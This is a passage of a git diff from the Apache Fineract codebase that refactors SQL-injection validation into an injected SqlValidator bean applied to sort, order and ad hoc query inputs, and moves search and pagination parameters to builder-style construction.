" journalEntry.savings_transaction_id in (select id from m_savings_account_transaction where savings_account_id = ?)");
objectArray[arrayPos] = searchParameters.getSavingsId();
arrayPos = arrayPos + 1;
}
- if (searchParameters.isOrderByRequested()) {
+ if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
- if (searchParameters.isSortOrderProvided()) {
+ if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
}
@@ -366,9 +366,9 @@
sqlBuilder.append(" order by journalEntry.entry_date, journalEntry.id");
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -502,10 +502,6 @@
private Page<JournalEntryData> retrieveContraTransactions(final Long officeId, final Long contraId, final String transactionId,
final String currencyCode) {
- final Integer offset = 0;
- final Integer limit = null;
- final String orderBy = "journalEntry.id";
- final String sortOrder = "ASC";
final Integer entityType = null;
final Boolean onlyManualEntries = null;
final LocalDate fromDate = null;
@@ -513,11 +509,10 @@
final LocalDate submittedOnDateFrom = null;
final LocalDate submittedOnDateTo = null;
final JournalEntryAssociationParametersData associationParametersData = null;
- final Long loanId = null;
- final Long savingsId = null;
- final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
- savingsId, currencyCode);
+ final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).officeId(officeId).offset(0)
+ .orderBy("journalEntry.id").sortOrder("ASC").currencyCode(currencyCode).build();
+
return retrieveAll(searchParameters, contraId, onlyManualEntries, fromDate, toDate, submittedOnDateFrom, submittedOnDateTo,
transactionId, entityType, associationParametersData);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java
index 4cd899e..3ca1ba1 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/domain/AdHoc.java
@@ -31,7 +31,6 @@
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
import org.apache.fineract.infrastructure.core.api.JsonCommand;
import org.apache.fineract.infrastructure.core.domain.AbstractAuditableCustom;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
@Getter
@Setter
@@ -68,10 +67,7 @@
public static AdHoc fromJson(final JsonCommand command) {
final String name = command.stringValueOfParameterNamed(AdHocJsonInputParams.NAME.getValue());
- String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
-
- SQLInjectionValidator.validateAdhocQuery(commandQuery);
- final String query = commandQuery;
+ final String query = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
final String tableName = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLENAME.getValue());
final String tableFields = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLEFIELDS.getValue());
final String email = command.stringValueOfParameterNamed(AdHocJsonInputParams.EMAIL.getValue());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java
index 8f2c341..643809c 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/service/AdHocWritePlatformServiceJpaRepositoryImpl.java
@@ -21,6 +21,7 @@
import java.util.Map;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
+import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
import org.apache.fineract.adhocquery.domain.AdHoc;
import org.apache.fineract.adhocquery.domain.AdHocRepository;
import org.apache.fineract.adhocquery.exception.AdHocNotFoundException;
@@ -30,6 +31,7 @@
import org.apache.fineract.infrastructure.core.exception.ErrorHandler;
import org.apache.fineract.infrastructure.core.exception.PlatformDataIntegrityException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.dao.NonTransientDataAccessException;
import org.springframework.orm.jpa.JpaSystemException;
@@ -42,6 +44,7 @@
private final PlatformSecurityContext context;
private final AdHocRepository adHocRepository;
private final AdHocDataValidator adHocCommandFromApiJsonDeserializer;
+ private final SqlValidator sqlValidator;
@Transactional
@Override
@@ -52,6 +55,10 @@
this.adHocCommandFromApiJsonDeserializer.validateForCreate(command.json());
+ String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
+
+ sqlValidator.validate("adhoc", commandQuery);
+
final AdHoc entity = AdHoc.fromJson(command);
this.adHocRepository.saveAndFlush(entity);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java
index f70585d..d7bbae6 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/adhocquery/starter/AdhocQueryConfiguration.java
@@ -26,6 +26,7 @@
import org.apache.fineract.adhocquery.service.AdHocWritePlatformServiceJpaRepositoryImpl;
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@@ -51,8 +52,8 @@
@Bean
@ConditionalOnMissingBean(AdHocWritePlatformService.class)
public AdHocWritePlatformService adHocWritePlatformService(PlatformSecurityContext context, AdHocRepository adHocRepository,
- AdHocDataValidator adHocCommandFromApiJsonDeserializer) {
- return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer) {
+ AdHocDataValidator adHocCommandFromApiJsonDeserializer, SqlValidator sqlValidator) {
+ return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer, sqlValidator) {
};
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java
index 4348650..9a17404 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/commands/api/AuditsApiResource.java
@@ -49,6 +49,7 @@
import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSerializer;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.SQLBuilder;
import org.springframework.stereotype.Component;
@@ -73,6 +74,7 @@
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<AuditData> toApiJsonSerializer;
private final DefaultToApiJsonSerializer<AuditSearchData> toApiJsonSerializerSearchTemplate;
+ private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -106,7 +108,10 @@
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
+ .orderBy(orderBy).sortOrder(sortOrder).build();
final SQLBuilder extraCriteria = getExtraCriteria(actionName, entityName, resourceId, makerId, makerDateTimeFrom, makerDateTimeTo,
checkerId, checkerDateTimeFrom, checkerDateTimeTo, processingResult, officeId, groupId, clientId, loanId, savingsAccountId);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java
index bfad524..bf41138 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/commands/service/AuditReadPlatformServiceImpl.java
@@ -168,7 +168,7 @@
@Override
public Collection<AuditData> retrieveAuditEntries(final SQLBuilder extraCriteria, final boolean includeJson) {
- return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.getCheckedLimit(null),
+ return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.DEFAULT_MAX_LIMIT,
includeJson);
}
@@ -185,14 +185,14 @@
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(rm.schema(includeJson, hierarchy));
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
- if (parameters.isOrderByRequested()) {
+ if (parameters.hasOrderBy()) {
sqlBuilder.append(' ').append(parameters.orderBySql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
} else {
sqlBuilder.append(' ').append(' ').append(" order by aud.id DESC");
}
- if (parameters.isLimited()) {
+ if (parameters.hasLimit()) {
sqlBuilder.append(' ').append(parameters.limitSql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
}
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java
index f1f388b..353f56a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/bulkimport/service/BulkImportWorkbookPopulatorServiceImpl.java
@@ -272,7 +272,7 @@
if (officeId == null) {
Boolean includeAllOffices = Boolean.TRUE;
offices = (List) this.officeReadPlatformService.retrieveAllOffices(includeAllOffices,
- new SearchParameters(null, null, null, null, null, null, null, null, "id", "asc", null, null, null, null, null, null));
+ SearchParameters.builder().orderBy("id").sortOrder("asc").build());
} else {
offices = new ArrayList<>();
offices.add(this.officeReadPlatformService.retrieveOffice(officeId));
@@ -341,7 +341,7 @@
if (officeId == null) {
centers = (List<CenterData>) this.centerReadPlatformService.retrieveAll(null, null);
} else {
- SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+ SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
centers = (List<CenterData>) centerReadPlatformService.retrieveAll(searchParameters, null);
}
@@ -359,7 +359,7 @@
}
}
} else {
- SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+ SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
Page<ClientData> clientDataPage = this.clientReadPlatformService.retrieveAll(searchParameters);
if (clientDataPage != null) {
clients = new ArrayList<>();
@@ -420,7 +420,7 @@
if (officeId == null) {
groups = (List<GroupGeneralData>) this.groupReadPlatformService.retrieveAll(null, null);
} else {
- SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+ SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
groups = (List<GroupGeneralData>) groupReadPlatformService.retrieveAll(searchParameters, null);
}
@@ -448,7 +448,7 @@
if (officeId == null) {
loanAccounts = loanReadPlatformService.retrieveAll(null).getPageItems();
} else {
- SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
+ SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
loanAccounts = loanReadPlatformService.retrieveAll(searchParameters).getPageItems();
}
return loanAccounts;
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java
index 15ca3df..d9c9690 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/email/api/EmailApiResource.java
@@ -48,6 +48,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/email")
@@ -63,6 +64,7 @@
private final DefaultToApiJsonSerializer<EmailData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
+ private final SqlValidator sqlValidator;
@GET
public String retrieveAllEmails(@Context final UriInfo uriInfo) {
@@ -78,7 +80,10 @@
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllPending(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, emailMessages);
@@ -91,7 +96,10 @@
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllSent(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -131,7 +139,10 @@
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
- final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllFailed(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java
index eac469e..1faf38a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/api/SmsCampaignApiResource.java
@@ -58,6 +58,7 @@
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/smscampaigns")
@@ -74,6 +75,7 @@
private final DefaultToApiJsonSerializer<CampaignPreviewData> previewCampaignMessageDefaultToApiJsonSerializer;
private final SmsCampaignWritePlatformService smsCampaignWritePlatformService;
private final PlatformSecurityContext context;
+ private final SqlValidator sqlValidator;
private static final String RESOURCE_NAME_FOR_PERMISSIONS = "SMS_CAMPAIGN";
@@ -142,7 +144,10 @@
public String retrieveAllEmails(@QueryParam("offset") final Integer offset, @QueryParam("limit") final Integer limit,
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
platformSecurityContext.authenticatedUser().validateHasReadPermission(SmsCampaignConstants.RESOURCE_NAME);
- final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
+ sqlValidator.validate(orderBy);
+ sqlValidator.validate(sortOrder);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+ .sortOrder(sortOrder).build();
Page<SmsCampaignData> smsCampaignDataCollection = smsCampaignReadPlatformService.retrieveAll(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, smsCampaignDataCollection);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java
index b802b19..48bb968 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/campaigns/sms/service/SmsCampaignReadPlatformServiceImpl.java
@@ -94,9 +94,9 @@
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(this.smsCampaignMapper.schema() + " where sc.is_visible = ? ");
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java
index 6a8601f..0a54f3e 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/api/EntityDatatableChecksApiResource.java
@@ -77,7 +77,7 @@
@QueryParam("productId") @Parameter(description = "productId") final Long productId,
@QueryParam("offset") @Parameter(description = "offset") final Integer offset,
@QueryParam("limit") @Parameter(description = "limit") final Integer limit) {
- final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
+ final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<EntityDataTableChecksData> result = this.readEntityDatatableChecksService.retrieveAll(searchParameters, status, entity,
productId);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java
index 33a83f0..c1de71c 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/DatatableReportingProcessService.java
@@ -24,7 +24,6 @@
import java.util.List;
import java.util.Map;
import java.util.Optional;
-import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
@@ -34,17 +33,23 @@
import org.apache.fineract.infrastructure.dataqueries.service.export.DatatableReportExportService;
import org.apache.fineract.infrastructure.dataqueries.service.export.ResponseHolder;
import org.apache.fineract.infrastructure.report.annotation.ReportService;
-import org.apache.fineract.infrastructure.report.service.ReportingProcessService;
+import org.apache.fineract.infrastructure.report.service.AbstractReportingProcessService;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Service;
@Service
@ReportService(type = { "Table", "Chart", "SMS" })
-@RequiredArgsConstructor
@Slf4j
-public class DatatableReportingProcessService implements ReportingProcessService {
+public class DatatableReportingProcessService extends AbstractReportingProcessService {
private final List<DatatableReportExportService> exportServices;
+ public DatatableReportingProcessService(List<DatatableReportExportService> exportServices, SqlValidator sqlValidator) {
+ super(sqlValidator);
+
+ this.exportServices = exportServices;
+ }
+
@Override
public Response processRequest(String reportName, MultivaluedMap<String, String> queryParams) {
boolean isSelfServiceUserReport = Boolean.parseBoolean(
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java
index 37e6049..495713c 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/EntityDatatableChecksReadPlatformServiceImpl.java
@@ -109,9 +109,9 @@
paramList.add(productId);
}
- if (searchParameters.isLimited()) {
+ if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
- if (searchParameters.isOffset()) {
+ if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java
index 5cf2275..dea9013 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImpl.java
@@ -108,8 +108,8 @@
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableSystemErrorException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
-import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
import org.apache.fineract.portfolio.search.data.AdvancedQueryData;
import org.apache.fineract.portfolio.search.data.ColumnFilterData;
import org.apache.fineract.portfolio.search.service.SearchUtil;
@@ -148,6 +148,8 @@
private final NamedParameterJdbcTemplate namedParameterJdbcTemplate;
private final SqlInjectionPreventerService preventSqlInjectionService;
private final DatatableKeywordGenerator datatableKeywordGenerator;
+ private final SqlValidator sqlValidator;
+ private final SearchUtil searchUtil;
@Override
public List<DatatableData> retrieveDatatableNames(final String appTable) {
@@ -185,7 +187,7 @@
@Override
public DatatableData retrieveDatatable(final String datatable) {
// PERMITTED datatables
- SQLInjectionValidator.validateSQLInput(datatable);
+ sqlValidator.validate(datatable);
final String sql = "select application_table_name, registered_table_name, entity_subtype from x_registered_table "
+ " where exists (select 'f' from m_appuser_role ur join m_role r on r.id = ur.role_id"
+ " left join m_role_permission rp on rp.role_id = r.id left join m_permission p on p.id = rp.permission_id"
@@ -213,21 +215,21 @@
public List<JsonObject> queryDataTable(@NotNull String datatable, @NotNull String columnName, String columnValueString,
@NotNull String resultColumnsString) {
datatable = validateDatatableRegistered(datatable);
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
List<String> resultColumns = asList(resultColumnsString.split(","));
- List<String> selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
- ResultsetColumnHeaderData column = SearchUtil.validateToJdbcColumn(columnName, headersByName, false);
+ List<String> selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
+ ResultsetColumnHeaderData column = searchUtil.validateToJdbcColumn(columnName, headersByName, false);
- Object columnValue = SearchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
+ Object columnValue = searchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
String sql = sqlGenerator.buildSelect(selectColumns, null, false) + " " + sqlGenerator.buildFrom(datatable, null, false) + " WHERE "
+ EQ.formatPlaceholder(sqlGenerator, column.getColumnName(), 1, null);
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, columnValue); // NOSONAR
List<JsonObject> results = new ArrayList<>();
while (rowSet.next()) {
- SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
+ searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
}
return results;
}
@@ -240,12 +242,12 @@
AdvancedQueryData request = pagedRequest.getRequest().orElseThrow();
dataTableValidator.validateTableSearch(request);
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
- String pkColumn = SearchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
+ String pkColumn = searchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
List<ColumnFilterData> columnFilters = request.getNonNullFilters();
- columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
+ columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
List<String> resultColumns = request.getNonNullResultColumns();
List<String> selectColumns;
@@ -254,14 +256,14 @@
selectColumns = new ArrayList<>();
selectColumns.add(pkColumn);
} else {
- selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
+ selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
}
PageRequest pageable = pagedRequest.toPageable();
PageRequest sortPageable;
if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream()
- .map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
+ .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else {
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
sortPageable = pageable;
@@ -275,7 +277,7 @@
String from = " " + sqlGenerator.buildFrom(datatable, null, false);
StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>();
- SearchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
+ searchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
sqlGenerator);
List<JsonObject> results = new ArrayList<>();
@@ -297,7 +299,7 @@
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
while (rowSet.next()) {
- SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
+ searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
}
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
}
@@ -315,19 +317,19 @@
datatable = validateDatatableRegistered(datatable);
context.authenticatedUser().validateHasDatatableReadPermission(datatable);
- Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+ Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
- List<String> thisSelectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
+ List<String> thisSelectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
if (columnFilters != null) {
- columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
+ columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
}
select.append(sqlGenerator.buildSelect(thisSelectColumns, alias, true));
selectColumns.addAll(thisSelectColumns);
String joinType = "LEFT";
- if (SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
+ if (searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
sqlGenerator)) {
joinType = null; // INNER
}
@@ -674,7 +676,7 @@
validateDatatableName(datatableName);
int rowCount = getDatatableRowCount(datatableName);
final List<ResultsetColumnHeaderData> columnHeaderData = this.genericDataService.fillResultsetColumnHeaders(datatableName);
- final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = SearchUtil.mapHeadersToName(columnHeaderData);
+ final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = searchUtil.mapHeadersToName(columnHeaderData);
final boolean isConstraintApproach = this.configurationDomainService.isConstraintApproachEnabledForDatatables();
